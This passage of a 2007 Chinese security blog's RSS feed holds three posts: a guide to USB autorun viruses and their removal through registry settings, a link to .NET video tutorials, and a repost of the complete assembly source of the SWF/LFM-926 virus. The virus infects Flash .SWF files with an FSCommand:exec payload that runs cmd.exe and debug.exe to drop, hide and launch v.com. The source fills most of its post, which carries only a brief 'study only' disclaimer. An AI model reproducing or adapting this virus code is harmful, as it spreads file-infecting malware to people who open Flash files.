		<description><![CDATA[一、U盘病毒简述：&#160; 　　U盘(自动运行)类病毒(auto病毒)近来非常常见，并且具有一定程度危害，它的机理是依赖Windows的自动运行功能，使得我们在点击打开磁盘的时候，自动执行相关的文件。目前我们使用U盘都十分频繁，当我们享受U盘所带来的方便时，U盘病毒也在悄悄利用系统的自动运行功能肆意传播，目前流行的U盘病毒文件大家甚至耳熟能详了，比如经常有网友问的SSS.EXE&#160;SXS.EXE如何查杀这类的，下面我们将对U盘病毒极其特性和防范办法进行分析总结。 　　 二、特性分析： 　　所谓的自动运行功能是指Windows系统一种方便特性，使当光盘、U盘插入到机器自动运行，而这种特性的实现就是通过磁盘跟目录下的&#160;autorun.inf文件进行。这个文件保存在驱动器的根目录下(一般会是一个隐藏属性的系统文件)，它保存着一些简单的命令，告知系统新插入的光盘或&#160;U盘应该自动启动什么程序等。 　　常见的Autorun.inf文件格式大致如下： 　　[AutoRun]　　　　//表示AutoRun部分开始，必须输入 　　icon=C:\C.ico　　//指定给C盘一个个性化的盘符图标C.ico 　　open=C:\1.exe　　//指定要运行程序的路径和名称，只要在此放入病毒程序就可自动运行; 　　在Windows系统有允许和阻止自动运行的键值的方法： 　　在注册表中找到如下键： 　　键路径：[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer] 　　在右侧窗格中有&#160;&#34;NoDriveTypeAutoRun&#34;这个键决定了是否执行Autorun功能.其中每一位代表一个设备,不同设备用以下数值表示: 　　设备名称&#160;第几位&#160;值&#160;设备用如下数值表示&#160;设备名称含义 　　DRIVE_UNKNOWN&#160;0&#160;1&#160;01h&#160;不能识别的类型设备 　　DRIVE_NO_ROOT_DIR&#160;1&#160;0&#160;02h&#160;没有根目录的驱动器 　　DRIVE_REMOVABLE&#160;2&#160;1&#160;04h&#160;可移动驱动器 　　DRIVE_FIXED&#160;3&#160;0&#160;08h&#160;固定的驱动器 　　DRIVE_REMOTE&#160;4&#160;1&#160;10h&#160;网络驱动器 　　DRIVE_CDROM&#160;5&#160;0&#160;20h&#160;光驱 　　DRIVE_RAMDISK&#160;6&#160;0&#160;40h&#160;RAM磁盘 　　其中：&#160;保留&#160;7&#160;1&#160;80h&#160;　未指定的驱动器类型 　　以上值&#34;0&#34;表示设备运行，&#34;1&#34;表示设备不运行。 　　从上面可以看出，对应的DRIVE_NO_ROOT_DIR、DRIVE_FIXED、DRIVE_CDROM、DRIVE_RAMDISK是可以自动运行的。所以要禁止硬盘自动运行AutoRun.inf文件，就必须将DRIVE_FIXED这些键的值设为1，由于DRIVE_FIXED代表固定的驱动&#160;器(即硬盘)。如果仅想禁止软件光盘的AutoRun功能，但又保留对CD音频碟的自动播放能力，这时只需将&#8220;NoDriveTypeAutoRun&#8221;的键值改为：BD,00,00,00即可。 　　U盘病毒就是利用这种系统特性，一般在感染后会修改系统的注册表，将显示所有文件的选项设置为禁止。甚至修改磁盘关联，杀毒软件一般会只把病毒文件清除，但对残余的文件不会处理。这也是常见的杀毒软件为什么常常无法清除干净，或者清除后双击无法打开磁盘的原因。 　　 三、解决方案： 　　1、使用超级巡警套装来全面解决U盘病毒问题(推荐!): 　　①超级巡警对U盘病毒检测进行了特别的处理，可以快速的监测和定位U盘病毒，并清除它们。 　　②超级巡警同时还提供对注册表关联修复和自动运行阻止的处理。 　　2、手动解决办法： 　　①根据上面的原理，自己修改注册表禁止磁盘的自动运行特性。 　　②把文件夹选项中隐藏受保护的操作系统文件钩掉，选中显示所有文件和文件夹，点击确定。这样可以在感染病毒的移动存储设备中会看到几个文件(包括autorun.inf和病毒文件)，删除后，病毒就清除了。 相关文章：手动清除chcp.exe病毒 保护MSN的安全编写autorun病毒免疫工具一个不为人知的感染几百万校内网用户的蠕虫分析不要让病毒迷惑了您的眼睛十种武器保证你的系统安全移动存储安全国外的第一只[感染*.swf]flash病毒的源代码推荐:杜绝Arp欺骗&#8211;利用Lns防范Arp欺骗揭秘图片病毒技术背后的内幕 © licess for Licess&#039;s Blog, 2007. &#124; Permalink &#124; No comment &#124; Add to del.icio.us Post tags: 安全, 病毒 美国VPS推荐 [...]]]></description>
			<content:encoded><![CDATA[<div class="NewsContent" id="NewsContentLabel"><font size="2">一、U盘病毒简述：&nbsp;<br />
　　U盘(自动运行)类病毒(auto病毒)近来非常常见，并且具有一定程度危害，它的机理是依赖Windows的自动运行功能，使得我们在点击打开磁盘的时候，自动执行相关的文件。目前我们使用U盘都十分频繁，当我们享受U盘所带来的方便时，U盘病毒也在悄悄利用系统的自动运行功能肆意传播，目前流行的U盘病毒文件大家甚至耳熟能详了，比如经常有网友问的SSS.EXE&nbsp;SXS.EXE如何查杀这类的，下面我们将对U盘病毒极其特性和防范办法进行分析总结。<br />
　　<br />
二、特性分析：<br />
　　所谓的自动运行功能是指Windows系统一种方便特性，使当光盘、U盘插入到机器自动运行，而这种特性的实现就是通过磁盘跟目录下的&nbsp;autorun.inf文件进行。这个文件保存在驱动器的根目录下(一般会是一个隐藏属性的系统文件)，它保存着一些简单的命令，告知系统新插入的光盘或&nbsp;U盘应该自动启动什么程序等。<br />
　　常见的Autorun.inf文件格式大致如下：<br />
　　[AutoRun]　　　　//表示AutoRun部分开始，必须输入<br />
　　icon=C:\C.ico　　//指定给C盘一个个性化的盘符图标C.ico<br />
　　open=C:\1.exe　　//指定要运行程序的路径和名称，只要在此放入病毒程序就可自动运行;<br />
　　在Windows系统有允许和阻止自动运行的键值的方法：<br />
　　在注册表中找到如下键：<br />
　　键路径：[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer]<br />
　　在右侧窗格中有&nbsp;&quot;NoDriveTypeAutoRun&quot;这个键决定了是否执行Autorun功能.其中每一位代表一个设备,不同设备用以下数值表示:<br />
　　设备名称&nbsp;第几位&nbsp;值&nbsp;设备用如下数值表示&nbsp;设备名称含义<br />
　　DRIVE_UNKNOWN&nbsp;0&nbsp;1&nbsp;01h&nbsp;不能识别的类型设备<br />
　　DRIVE_NO_ROOT_DIR&nbsp;1&nbsp;0&nbsp;02h&nbsp;没有根目录的驱动器<br />
　　DRIVE_REMOVABLE&nbsp;2&nbsp;1&nbsp;04h&nbsp;可移动驱动器<br />
　　DRIVE_FIXED&nbsp;3&nbsp;0&nbsp;08h&nbsp;固定的驱动器<br />
　　DRIVE_REMOTE&nbsp;4&nbsp;1&nbsp;10h&nbsp;网络驱动器<br />
　　DRIVE_CDROM&nbsp;5&nbsp;0&nbsp;20h&nbsp;光驱<br />
　　DRIVE_RAMDISK&nbsp;6&nbsp;0&nbsp;40h&nbsp;RAM磁盘<br />
　　其中：&nbsp;保留&nbsp;7&nbsp;1&nbsp;80h&nbsp;　未指定的驱动器类型<br />
　　以上值&quot;0&quot;表示设备运行，&quot;1&quot;表示设备不运行。<br />
　　从上面可以看出，对应的DRIVE_NO_ROOT_DIR、DRIVE_FIXED、DRIVE_CDROM、DRIVE_RAMDISK是可以自动运行的。所以要禁止硬盘自动运行AutoRun.inf文件，就必须将DRIVE_FIXED这些键的值设为1，由于DRIVE_FIXED代表固定的驱动&nbsp;器(即硬盘)。如果仅想禁止软件光盘的AutoRun功能，但又保留对CD音频碟的自动播放能力，这时只需将&ldquo;NoDriveTypeAutoRun&rdquo;的键值改为：BD,00,00,00即可。<br />
　　U盘病毒就是利用这种系统特性，一般在感染后会修改系统的注册表，将显示所有文件的选项设置为禁止。甚至修改磁盘关联，杀毒软件一般会只把病毒文件清除，但对残余的文件不会处理。这也是常见的杀毒软件为什么常常无法清除干净，或者清除后双击无法打开磁盘的原因。<br />
　　<br />
三、解决方案：<br />
　　1、使用超级巡警套装来全面解决U盘病毒问题(推荐!):<br />
　　①超级巡警对U盘病毒检测进行了特别的处理，可以快速的监测和定位U盘病毒，并清除它们。<br />
　　②超级巡警同时还提供对注册表关联修复和自动运行阻止的处理。<br />
　　2、手动解决办法：<br />
　　①根据上面的原理，自己修改注册表禁止磁盘的自动运行特性。<br />
　　②把文件夹选项中隐藏受保护的操作系统文件钩掉，选中显示所有文件和文件夹，点击确定。这样可以在感染病毒的移动存储设备中会看到几个文件(包括autorun.inf和病毒文件)，删除后，病毒就清除了。</font></div>
<h2  class="related_post_title">相关文章：</h2><ul class="related_post"><li><a href="http://blog.licess.org/%e6%89%8b%e5%8a%a8%e6%b8%85%e9%99%a4chcpexe%e7%97%85%e6%af%92%e4%bf%9d%e6%8a%a4msn%e7%9a%84%e5%ae%89%e5%85%a8/" title="手动清除chcp.exe病毒 保护MSN的安全">手动清除chcp.exe病毒 保护MSN的安全</a></li><li><a href="http://blog.licess.org/%e7%bc%96%e5%86%99autorun%e7%97%85%e6%af%92%e5%85%8d%e7%96%ab%e5%b7%a5%e5%85%b7/" title="编写autorun病毒免疫工具">编写autorun病毒免疫工具</a></li><li><a href="http://blog.licess.org/%e4%b8%80%e4%b8%aa%e4%b8%8d%e4%b8%ba%e4%ba%ba%e7%9f%a5%e7%9a%84%e6%84%9f%e6%9f%93%e5%87%a0%e7%99%be%e4%b8%87%e6%a0%a1%e5%86%85%e7%bd%91%e7%94%a8%e6%88%b7%e7%9a%84%e8%a0%95%e8%99%ab%e5%88%86%e6%9e%90/" title="一个不为人知的感染几百万校内网用户的蠕虫分析">一个不为人知的感染几百万校内网用户的蠕虫分析</a></li><li><a href="http://blog.licess.org/%e4%b8%8d%e8%a6%81%e8%ae%a9%e7%97%85%e6%af%92%e8%bf%b7%e6%83%91%e4%ba%86%e6%82%a8%e7%9a%84%e7%9c%bc%e7%9d%9b/" title="不要让病毒迷惑了您的眼睛">不要让病毒迷惑了您的眼睛</a></li><li><a href="http://blog.licess.org/%e5%8d%81%e7%a7%8d%e6%ad%a6%e5%99%a8%e4%bf%9d%e8%af%81%e4%bd%a0%e7%9a%84%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8/" title="十种武器保证你的系统安全">十种武器保证你的系统安全</a></li><li><a href="http://blog.licess.org/%e7%a7%bb%e5%8a%a8%e5%ad%98%e5%82%a8%e5%ae%89%e5%85%a8/" title="移动存储安全">移动存储安全</a></li><li><a href="http://blog.licess.org/59/" title="国外的第一只[感染*.swf]flash病毒的源代码">国外的第一只[感染*.swf]flash病毒的源代码</a></li><li><a href="http://blog.licess.org/%e6%8e%a8%e8%8d%90%3a%e6%9d%9c%e7%bb%9darp%e6%ac%ba%e9%aa%97-%e5%88%a9%e7%94%a8lns%e9%98%b2%e8%8c%83arp%e6%ac%ba%e9%aa%97/" title="推荐:杜绝Arp欺骗&#8211;利用Lns防范Arp欺骗">推荐:杜绝Arp欺骗&#8211;利用Lns防范Arp欺骗</a></li><li><a href="http://blog.licess.org/%e6%8f%ad%e7%a7%98%e5%9b%be%e7%89%87%e7%97%85%e6%af%92%e6%8a%80%e6%9c%af%e8%83%8c%e5%90%8e%e7%9a%84%e5%86%85%e5%b9%95/" title="揭秘图片病毒技术背后的内幕">揭秘图片病毒技术背后的内幕</a></li></ul><hr />
<p><small>© licess for <a href="http://blog.licess.org">Licess&#039;s Blog</a>, 2007. |
<a href="http://blog.licess.org/u%e7%9b%98%28auto%e7%97%85%e6%af%92%29%e7%b1%bb%e7%97%85%e6%af%92%e5%88%86%e6%9e%90%e4%b8%8e%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/">Permalink</a> |
<a href="http://blog.licess.org/u%e7%9b%98%28auto%e7%97%85%e6%af%92%29%e7%b1%bb%e7%97%85%e6%af%92%e5%88%86%e6%9e%90%e4%b8%8e%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/#comments">No comment</a> |
Add to
<a href="http://del.icio.us/post?url=http://blog.licess.org/u%e7%9b%98%28auto%e7%97%85%e6%af%92%29%e7%b1%bb%e7%97%85%e6%af%92%e5%88%86%e6%9e%90%e4%b8%8e%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/&title=U盘(auto病毒)类病毒分析与解决方案">del.icio.us</a>
<br/>
Post tags: <a href="http://blog.licess.org/tag/%e5%ae%89%e5%85%a8/" rel="tag">安全</a>, <a href="http://blog.licess.org/tag/%e7%97%85%e6%af%92/" rel="tag">病毒</a><br/>
<br/>
<img src="http://www.vpser.net/images/tuijian.gif"> <a href="http://www.vpser.net/usa-vps/">美国VPS推荐</a>  | <a href="http://shop63846532.taobao.com/">军哥代购 - 提供美国及海外VPS/VPN/域名代购，美元/欧元代付</a> QQ：503228080
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.licess.org/u%e7%9b%98%28auto%e7%97%85%e6%af%92%29%e7%b1%bb%e7%97%85%e6%af%92%e5%88%86%e6%9e%90%e4%b8%8e%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>国外的第一只[感染*.swf]flash病毒的源代码</title>
		<link>http://blog.licess.org/59/</link>
		<comments>http://blog.licess.org/59/#comments</comments>
		<pubDate>Sun, 28 Oct 2007 04:10:00 +0000</pubDate>
		<dc:creator>licess</dc:creator>
				<category><![CDATA[网络安全]]></category>
		<category><![CDATA[病毒]]></category>

		<guid isPermaLink="false">/articles/59</guid>
		<description><![CDATA[SWF/LFM-926 Virus: ; ------------------ ; Description: WinNT/XP Virus dropper for Flash .SWF files! ; Masm Version 6.11: ML.EXE SWF.ASM ; Virus Size: 926 bytes ; Infection Size: 3247 bytes. ; Last Edit: 01/08/2002 ; --------------------------------- Begin Source Code ------------------------------------ .286 .model tiny .code org 100h Entry: jmp Start VIR_SIZE equ Virus_End-Entry DTA db 128 dup(0) [...]]]></description>
			<content:encoded><![CDATA[<p><font size="2">SWF/LFM-926 Virus:<br />
; ------------------<br />
; Description: WinNT/XP Virus dropper for Flash .SWF files!<br />
; Masm Version 6.11: ML.EXE SWF.ASM<br />
; Virus Size: 926 bytes<br />
; Infection Size: 3247 bytes.<br />
; Last Edit: 01/08/2002</p>
<p>; --------------------------------- Begin Source Code ------------------------------------</p>
<p>
.286<br />
.model tiny<br />
.code<br />
org 100h</p>
<p>Entry: jmp Start</p>
<p>VIR_SIZE equ Virus_End-Entry</p>
<p>DTA db 128 dup(0) ; Offset DTA+30 = filename<br />
HANDLE dw ? ; Handle to host file<br />
PTR1 dd 0 ; Segment address of the created memory block<br />
PATH db &quot;*.SWF&quot;,0 ; File mask<br />
BINARY db &quot;v.com&quot;,0 ; Binary code<br />
HEX db &quot;0123456789ABCDEF&quot; ; Binary to hex</p>
<p>; Flash header block.<br />
; -------------------<br />
SIGN_FW dw ? ; SWF file format<br />
SIGN_S db ?<br />
VERSION_NUM db ?<br />
FILE_LENGTH dw ?<br />
dw ?<br />
STATIC_HDR_SIZE equ $-SIGN_FW</p>
<p>RECT_BUF db 20 dup(0) ; Header length is variable because the RECT region isnt static. ;(<br />
RECT_BUF_SIZE equ $-RECT_BUF</p>
<p>HDR_SIZE dw ? ; Holds the true header size!</p>
<p>; Start of Viral Frame 0.<br />
; -----------------------<br />
Drop_BEGIN db 03fh,003h ; DoAction Tag(12) long format. Learn the bytecodes!<br />
TAG_LENGTH dw 0 ; (ACTION LENGTH+3)+1[END_TAG]<br />
dw 0<br />
db 083h ; ActionGetUrl Tag<br />
ACTION_LENGTH dw 0 ; (Drop_BEGIN_SIZE-9)+(SUM OF Drop_MIDDLE)+(Drop_END_SIZE)<br />
db FSCommand:exec<br />
db 000h<br />
db cmd.exe<br />
db 009h ; chr(9) is Flash code for a space character.<br />
db /c<br />
db 009h<br />
db echo<br />
db 009h<br />
db Loading.Flash.Movie...<br />
db &amp;<br />
db (echo<br />
db 009h<br />
db n<br />
db 009h<br />
db v.com&amp;echo<br />
db 009h<br />
db a<br />
db 009h<br />
db 100&amp;<br />
Drop_BEGIN_SIZE equ $-Drop_BEGIN</p>
<p>Drop_MIDDLE db echo<br />
db 009h<br />
db db<br />
db 009h<br />
db 71 dup(,) ; db XX,...,XX where XXs are viral hex codes.<br />
db &amp;<br />
Drop_MIDDLE_SIZE equ $-Drop_MIDDLE</p>
<p>Drop_END db &amp;echo.&amp;echo<br />
db 009h<br />
db rcx&amp;echo<br />
db 009h<br />
db 39E ; Define hex 39E (VIR_SIZE) as a string. Changes if this code changes.<br />
db &amp;echo<br />
db 009h<br />
db w&amp;echo<br />
db 009h<br />
db q)|debug.exe&gt;nul&amp;start<br />
db 009h<br />
db /b<br />
db 009h<br />
db v.com<br />
db 000h ; StringEnd Tag<br />
Drop_END_SIZE equ $-Drop_END</p>
<p>; End of Viral Frame 0.<br />
; ---------------------<br />
END_TAG db 001h ; Action code 0x01 = tagshowframe Tag</p>
<p>Start:<br />
mov ax,(VIR_SIZE+0fh)<br />
shr ax,4<br />
shl ax,1<br />
mov bx,ax ; Allocate (VirusSize*2)<br />
mov ah,4ah<br />
int 21h ; Resize block<br />
jc ExProg</p>
<p>mov dx,offset DTA ; Set DTA operation<br />
mov ah,1ah<br />
int 21h</p>
<p>mov cx,07h<br />
mov dx,offset PATH<br />
mov ah,4eh ; FindFirst<br />
int 21h<br />
jc ExProg<br />
jmp Infect<br />
Cycle:<br />
mov dx,offset PATH<br />
mov ah,4fh ; FindNext<br />
int 21h<br />
jc ExProg<br />
jmp Infect<br />
ExProg:<br />
mov ax,4301h ; Hide v.com<br />
mov cx,02h<br />
mov dx,offset BINARY<br />
int 21h</p>
<p>mov ax,4c00h ; End program<br />
int 21h<br />
Infect:<br />
mov byte ptr DTA[30+12],$<br />
mov dx,offset (DTA+30)</p>
<p>mov ax,3d02h ; Open host file<br />
int 21h<br />
jc ExProg</p>
<p>mov [HANDLE],ax ; Save file handle</p>
<p>mov ax,3f00h ; Read file Header<br />
mov dx,offset SIGN_FW<br />
mov bx,[HANDLE]<br />
mov cx,(STATIC_HDR_SIZE+RECT_BUF_SIZE)<br />
int 21h<br />
jc ExProg</p>
<p>cmp word ptr SIGN_FW,WF ; Check for a valid Flash SWF file.<br />
jne Cycle ; Try another file ...<br />
cmp byte ptr SIGN_S,S<br />
jne Cycle<br />
cmp byte ptr VERSION_NUM,099h ; Already infected?<br />
je Cycle</p>
<p>mov cx,RECT_BUF_SIZE ; Search for the SetBackgroundColor Tag.<br />
xor di,di ; Seems to always exist directly after the header.<br />
next: cmp byte ptr RECT_BUF[di],043h<br />
jne not_found<br />
cmp byte ptr RECT_BUF[di+1],002h<br />
jne not_found<br />
jmp found<br />
not_found:<br />
inc di<br />
loop next<br />
jmp Cycle<br />
found:<br />
mov word ptr HDR_SIZE,STATIC_HDR_SIZE<br />
add word ptr HDR_SIZE,di ; Compute the header size</p>
<p>mov ax,4200h ; Reset file ptr right after Flash header<br />
xor cx,cx<br />
mov dx,[HDR_SIZE]<br />
int 21h<br />
jc ExProg</p>
<p>push bx<br />
mov ax,word ptr FILE_LENGTH<br />
add ax,15<br />
shr ax,4<br />
mov bx,ax<br />
mov ah,48h ; Allocate memory for target host file<br />
int 21h<br />
pop bx<br />
jc ExProg<br />
mov word ptr PTR1[2],ax ; Save pointer to allocated block</p>
<p>mov cx,word ptr FILE_LENGTH<br />
sub cx,[HDR_SIZE]<br />
mov ah,3fh ; Read host file into memory block<br />
push ds<br />
lds dx,[PTR1]<br />
int 21h<br />
pop ds<br />
jc ExProg</p>
<p>mov ax,4200h ; Reset file ptr to the middle code section<br />
xor cx,cx<br />
mov dx,[HDR_SIZE]<br />
add dx,Drop_BEGIN_SIZE<br />
int 21h<br />
jc ExProg</p>
<p>;<br />
; The following code is a key technique. It simply converts the<br />
; virus from binary to hex characters and then inserts them into the host<br />
; using a standard format that DEBUG.EXE expects! Flash only really<br />
; allows plain text, so this satisfies that condition.<br />
;</p>
<p>mov word ptr ACTION_LENGTH,(Drop_BEGIN_SIZE-9+Drop_END_SIZE)<br />
push bx<br />
mov cx,VIR_SIZE<br />
xor si,si<br />
xor di,di<br />
ToHex:<br />
mov bx,offset HEX ; Convert 8-bit binary number to a string representing a hex humber<br />
mov al,byte ptr Entry[si]<br />
mov ah,al<br />
and al,00001111y<br />
xlat<br />
mov Drop_MIDDLE[STATIC_HDR_SIZE+di+1],al<br />
shr ax,12<br />
xlat<br />
mov Drop_MIDDLE[STATIC_HDR_SIZE+di],al<br />
inc si<br />
inc di<br />
inc di<br />
inc di<br />
mov ax,si<br />
mov bl,24 ; Debug.exe can handle at most 24 defined bytes on 1 line.<br />
div bl<br />
or ah,ah<br />
jnz cont<br />
push cx<br />
xor di,di<br />
add word ptr ACTION_LENGTH,Drop_MIDDLE_SIZE<br />
mov bx,[HANDLE] ; Write hex dump entry XX,...,XX<br />
mov dx,offset Drop_MIDDLE<br />
mov cx,Drop_MIDDLE_SIZE<br />
mov ax,4000h<br />
int 21h<br />
jc ExProg<br />
pop cx<br />
cont:<br />
loop ToHex<br />
pop bx</p>
<p>or di,di<br />
jz no_remainder</p>
<p>mov dx,offset Drop_MIDDLE<br />
mov cx,di<br />
add cx,7 ; STATIC_HDR_SIZE-1<br />
add word ptr ACTION_LENGTH,cx<br />
mov ax,4000h ; Write remainder hex dump entry XX,...,XX<br />
int 21h<br />
jc ExProg</p>
<p>no_remainder:<br />
mov dx,offset Drop_END<br />
mov cx,Drop_END_SIZE+1<br />
mov ax,4000h ; Write end code and end of frame tag(01) into host<br />
int 21h<br />
jc ExProg</p>
<p>mov cx,word ptr FILE_LENGTH<br />
sub cx,[HDR_SIZE]<br />
mov ax,4000h ; Write host code directly after viral code.<br />
push ds<br />
lds dx,[PTR1]<br />
int 21h<br />
pop ds<br />
jc ExProg<br />
; Patch the header with new viral values.<br />
mov cx,word ptr ACTION_LENGTH<br />
add cx,4<br />
mov word ptr TAG_LENGTH,cx<br />
add cx,6<br />
add word ptr FILE_LENGTH,cx ; Total file size increase = (TAG_LENGTH+6)<br />
; Set infection marker<br />
mov byte ptr VERSION_NUM,099h</p>
<p>mov di,[HDR_SIZE]<br />
inc word ptr [SIGN_FW+di-2] ; Increase Frame count by 1</p>
<p>mov ax,4200h ; Re-wind to start of file<br />
xor cx,cx<br />
xor dx,dx<br />
int 21h<br />
jc ExProg</p>
<p>mov dx,offset SIGN_FW<br />
mov cx,[HDR_SIZE]<br />
mov ax,4000h ; Write updated viral header<br />
int 21h<br />
jc ExProg</p>
<p>mov dx,offset Drop_BEGIN<br />
mov cx,Drop_BEGIN_SIZE<br />
mov ax,4000h ; Write begin code into host<br />
int 21h<br />
jc ExProg</p>
<p>mov ah,49h ; Free memory block<br />
mov es,word ptr PTR1[2]<br />
int 21h<br />
jc ExProg</p>
<p>mov ax,3e00h ; Close file<br />
int 21h<br />
jc ExProg</p>
<p>jmp Cycle ; DONE! Try to infect another.</p>
<p>Virus_End:<br />
end Entry</p>
<p>
被复仇天说后，重新看了下文件，感觉有点问题 ，特重新更改标题。<br />
以上内容只供学习、研究使用，如果利用其来搞破坏或者是做些违法的事情。</font></p>
<h2  class="related_post_title">相关文章：</h2><ul class="related_post"><li><a href="http://blog.licess.org/%e6%89%8b%e5%8a%a8%e6%b8%85%e9%99%a4chcpexe%e7%97%85%e6%af%92%e4%bf%9d%e6%8a%a4msn%e7%9a%84%e5%ae%89%e5%85%a8/" title="手动清除chcp.exe病毒 保护MSN的安全">手动清除chcp.exe病毒 保护MSN的安全</a></li><li><a href="http://blog.licess.org/%e7%bc%96%e5%86%99autorun%e7%97%85%e6%af%92%e5%85%8d%e7%96%ab%e5%b7%a5%e5%85%b7/" title="编写autorun病毒免疫工具">编写autorun病毒免疫工具</a></li><li><a href="http://blog.licess.org/u%e7%9b%98%28auto%e7%97%85%e6%af%92%29%e7%b1%bb%e7%97%85%e6%af%92%e5%88%86%e6%9e%90%e4%b8%8e%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/" title="U盘(auto病毒)类病毒分析与解决方案">U盘(auto病毒)类病毒分析与解决方案</a></li><li><a href="http://blog.licess.org/%e4%b8%80%e4%b8%aa%e4%b8%8d%e4%b8%ba%e4%ba%ba%e7%9f%a5%e7%9a%84%e6%84%9f%e6%9f%93%e5%87%a0%e7%99%be%e4%b8%87%e6%a0%a1%e5%86%85%e7%bd%91%e7%94%a8%e6%88%b7%e7%9a%84%e8%a0%95%e8%99%ab%e5%88%86%e6%9e%90/" title="一个不为人知的感染几百万校内网用户的蠕虫分析">一个不为人知的感染几百万校内网用户的蠕虫分析</a></li><li><a href="http://blog.licess.org/%e4%b8%8d%e8%a6%81%e8%ae%a9%e7%97%85%e6%af%92%e8%bf%b7%e6%83%91%e4%ba%86%e6%82%a8%e7%9a%84%e7%9c%bc%e7%9d%9b/" title="不要让病毒迷惑了您的眼睛">不要让病毒迷惑了您的眼睛</a></li><li><a href="http://blog.licess.org/%e6%8f%ad%e7%a7%98%e5%9b%be%e7%89%87%e7%97%85%e6%af%92%e6%8a%80%e6%9c%af%e8%83%8c%e5%90%8e%e7%9a%84%e5%86%85%e5%b9%95/" title="揭秘图片病毒技术背后的内幕">揭秘图片病毒技术背后的内幕</a></li></ul><hr />
<p><small>© licess for <a href="http://blog.licess.org">Licess&#039;s Blog</a>, 2007. |
<a href="http://blog.licess.org/59/">Permalink</a> |
<a href="http://blog.licess.org/59/#comments">One comment</a> |
Add to
<a href="http://del.icio.us/post?url=http://blog.licess.org/59/&title=国外的第一只[感染*.swf]flash病毒的源代码">del.icio.us</a>
<br/>
Post tags: <a href="http://blog.licess.org/tag/%e7%97%85%e6%af%92/" rel="tag">病毒</a><br/>
<br/>
<img src="http://www.vpser.net/images/tuijian.gif"> <a href="http://www.vpser.net/usa-vps/">美国VPS推荐</a>  | <a href="http://shop63846532.taobao.com/">军哥代购 - 提供美国及海外VPS/VPN/域名代购，美元/欧元代付</a> QQ：503228080
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.licess.org/59/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Visual Studio2005入门.Net系列视频教程</title>
		<link>http://blog.licess.org/visualstudio2005%e5%85%a5%e9%97%a8net%e7%b3%bb%e5%88%97%e8%a7%86%e9%a2%91%e6%95%99%e7%a8%8b/</link>
		<comments>http://blog.licess.org/visualstudio2005%e5%85%a5%e9%97%a8net%e7%b3%bb%e5%88%97%e8%a7%86%e9%a2%91%e6%95%99%e7%a8%8b/#comments</comments>
		<pubDate>Mon, 22 Oct 2007 01:01:00 +0000</pubDate>
		<dc:creator>licess</dc:creator>
				<category><![CDATA[网络安全]]></category>
		<category><![CDATA[.net]]></category>
		<category><![CDATA[visual studio2005]]></category>
		<category><![CDATA[开发]]></category>

		<guid isPermaLink="false">/articles/69</guid>
		<description><![CDATA[&#160;&#160;&#160;&#160; 本系列教程的课程安排参考了多本.net 1.1以及在目前的2.0新书的基础上认真编订。不敢夸口本系列多了不起,但至少敢保证你看完本系列,再做完每个小结的测试,你入门是绝对没有问题的!做一个简单的网站是绝对可以的!祝愿大家能够尽快进入.net 2.0的世界。也希望本教程能够帮助你更好的学习。 http://www.ibook8.com/tech/vs2005.html 相关文章：软件开发入门学习的个人看法 © licess for Licess&#039;s Blog, 2007. &#124; Permalink &#124; No comment &#124; Add to del.icio.us Post tags: .net, visual studio2005, 开发 美国VPS推荐 &#124; 军哥代购 - 提供美国及海外VPS/VPN/域名代购，美元/欧元代付 QQ：503228080]]></description>
			<content:encoded><![CDATA[<p>&nbsp;&nbsp;<font size="2">&nbsp;&nbsp; 本系列教程的课程安排参考了多本.net 1.1以及在目前的2.0新书的基础上认真编订。不敢夸口本系列多了不起,但至少敢保证你看完本系列,再做完每个小结的测试,你入门是绝对没有问题的!做一个简单的网站是绝对可以的!祝愿大家能够尽快进入.net 2.0的世界。也希望本教程能够帮助你更好的学习。</p>
<p><a href="http://www.ibook8.com/tech/vs2005.html"><font color="#ff0000">http://www.ibook8.com/tech/vs2005.html</font></a></font></p>
<h2  class="related_post_title">相关文章：</h2><ul class="related_post"><li><a href="http://blog.licess.org/%e8%bd%af%e4%bb%b6%e5%bc%80%e5%8f%91%e5%85%a5%e9%97%a8%e5%ad%a6%e4%b9%a0%e7%9a%84%e4%b8%aa%e4%ba%ba%e7%9c%8b%e6%b3%95/" title="软件开发入门学习的个人看法">软件开发入门学习的个人看法</a></li></ul><hr />
<p><small>© licess for <a href="http://blog.licess.org">Licess&#039;s Blog</a>, 2007. |
<a href="http://blog.licess.org/visualstudio2005%e5%85%a5%e9%97%a8net%e7%b3%bb%e5%88%97%e8%a7%86%e9%a2%91%e6%95%99%e7%a8%8b/">Permalink</a> |
<a href="http://blog.licess.org/visualstudio2005%e5%85%a5%e9%97%a8net%e7%b3%bb%e5%88%97%e8%a7%86%e9%a2%91%e6%95%99%e7%a8%8b/#comments">No comment</a> |
Add to
<a href="http://del.icio.us/post?url=http://blog.licess.org/visualstudio2005%e5%85%a5%e9%97%a8net%e7%b3%bb%e5%88%97%e8%a7%86%e9%a2%91%e6%95%99%e7%a8%8b/&title=Visual Studio2005入门.Net系列视频教程">del.icio.us</a>
<br/>
Post tags: <a href="http://blog.licess.org/tag/net/" rel="tag">.net</a>, <a href="http://blog.licess.org/tag/visual-studio2005/" rel="tag">visual studio2005</a>, <a href="http://blog.licess.org/tag/%e5%bc%80%e5%8f%91/" rel="tag">开发</a><br/>
<br/>
<img src="http://www.vpser.net/images/tuijian.gif"> <a href="http://www.vpser.net/usa-vps/">美国VPS推荐</a>  | <a href="http://shop63846532.taobao.com/">军哥代购 - 提供美国及海外VPS/VPN/域名代购，美元/欧元代付</a> QQ：503228080
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.licess.org/visualstudio2005%e5%85%a5%e9%97%a8net%e7%b3%bb%e5%88%97%e8%a7%86%e9%a2%91%e6%95%99%e7%a8%8b/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
